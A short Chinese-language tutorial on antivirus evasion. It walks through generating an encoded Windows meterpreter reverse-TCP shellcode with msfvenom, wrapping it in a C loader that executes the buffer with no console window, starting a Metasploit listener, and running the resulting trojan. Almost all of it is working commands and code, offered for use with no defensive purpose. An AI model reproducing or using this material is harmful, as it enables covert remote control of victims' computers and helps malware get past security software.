1.靜態免殺
1.1編譯c文件,靜態免殺
1.1.1 生成shellcode
在kali命令行輸入
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '/x00' lhost=192.168.1.160 lport=7777 -f c -o /home/shell/test01.c
-p 選擇payload
-e 選擇使用的編碼
-i 給payload編碼的次數
-b 避免出現的字符
-f 輸出文件類型
-o 輸出文件目錄
1.1.2 對shellcode手工編譯免殺
#include<stdio.h>
#include<windows.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] = 這裏添加shellcode;
main()
{
__asm
{
lea eax,buf;
call eax;
}
}
改好shellcode後用c編譯器編譯
1.1.3開啓監聽
在kali上使用msf監聽
在kali命令行輸入
msfconsole
use exploit/multi/handler
set lhost 192.168.1.160
set lport 7777
set payload windows/meterpreter/reverse_tcp
exploit
1.1.4觸發木馬
運行編譯好的exe文件